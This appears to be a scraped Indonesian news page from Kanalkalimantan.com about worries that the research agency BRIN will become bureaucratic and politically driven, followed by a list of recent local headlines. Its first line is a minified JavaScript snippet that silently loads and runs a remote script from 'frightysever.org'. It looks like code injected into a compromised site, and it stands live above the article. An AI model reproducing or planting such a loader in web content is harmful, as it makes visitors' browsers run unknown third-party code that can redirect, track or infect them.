(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Keberadaan BRIN Dikhawatirkan Bakal Bersifat Birokratis


KANALKALIMANTAN.COM, JAKARTA– Anggota Streering Committe Kaukus Indonesia untuk Kebebasan Akademik Robertus Robet menyatakan kekhawatirannya Badan Riset dan Inovasi Nasional, lembaga pecahan dari Kementerian Riset dan Teknologi, akan bersifat birokratis. Apalagi badan ini terbentuk karena dorongan dari Ketua Umum PDI Perjuangan Megawati Soekarnoputri.

“Dilihat dari kultur birokrasi di Indonesia dalam satu model pelembagaan, yang apalagi dengan satu drive politik dan ideologi yang sangat sempit seperti itu dia akan berhenti pada birokratisasi nanti,” kata Robet, Jumat (16/4/2021).

Robert mengatakan hal itu akan menghambat perizinan bagi peneliti asing yang ingin terlibat dalam ilmu pengetahuan di Tanah Air.

“Yang saya khawatirkan yang terjadi adalah semacam nasionalisme sempit dan birokratisasi dari dunia riset. Nah kalau itu yang terjadi kita celaka,” ujarnya.

Padahal, menurut Robert, dalam perkembangan ilmu pengetahuan, peneliti Indonesia tidak bisa begitu saja lepas dari peneliti asing.

“Kenapa, loh bagaimana kita mau maju, kalau kita nggak berani encountering itu dengan dunia luar, dengan penelitian-penelitian luar gitu lah. Yang itu akan terjadi dengan dalih nasionalisme yang sebenarnya nggak bisa juga, sebenarnya keliru itu,” ujar dia.

Sepeti pemberitaan beberapa waktu lalu, Sekretaris Jenderal DPP PDI Perjuangan Hasto Kristiyanto mengatakan BRIN bakal berada di bawah Presiden.

Menurutnya, BRIN bakal menjadi sebuah infrastruktur yang sangat penting bagi percepatan penguasaan ilmu pengetahuan dan teknologi. Ia tidak mau apabila Indonesia kalah dengan Singapura dan Korea Selatan yang sudah maju lebih jauh karena risetnya yang sangat baik.

“Bagi PDI Perjuangan, dalam kerangka ideologis, BRIN inilah yang akan menjadi penopang agar Indonesia berdikari,” ujarnya.

Hasto lantas bercerita ketika PDI Perjuangan mencalonkan Presiden Jokowi sebagai Presiden, Megawati bukan bicara soal bagi-bagi jabatan politik. Megawati menyampaikan pentingnya Indonesia memiliki Badan Riset dan Inovasi.

“Ibu Mega menegaskan perlu empat hal. Yaitu meneliti tentang ilmu pengetahuan teknologi berkaitan dengan manusianya, berkaitan floranya, berkaitan fauna, dan berkaitan dengan perkembangan teknologi itu sendiri. Jadi Ibu Mega tidak bicara tentang transaksional,” tuturnya.

“Ibu Mega berbicara tentang kepentingan bangsa dan negara agar kita jalan berdikari perlu BRIN. Maka BRIN ini sangat penting di dalam membangun spirit kita, melalui penguasaan ilmu pengetahuan dan teknologi,” kata Hasto. (Kanalkalimantan.com/suara)

Editor: cell

 

 

 


Al Ghifari

Recent Posts

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

2 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

3 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

4 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

5 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

18 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

18 jam ago

This website uses cookies.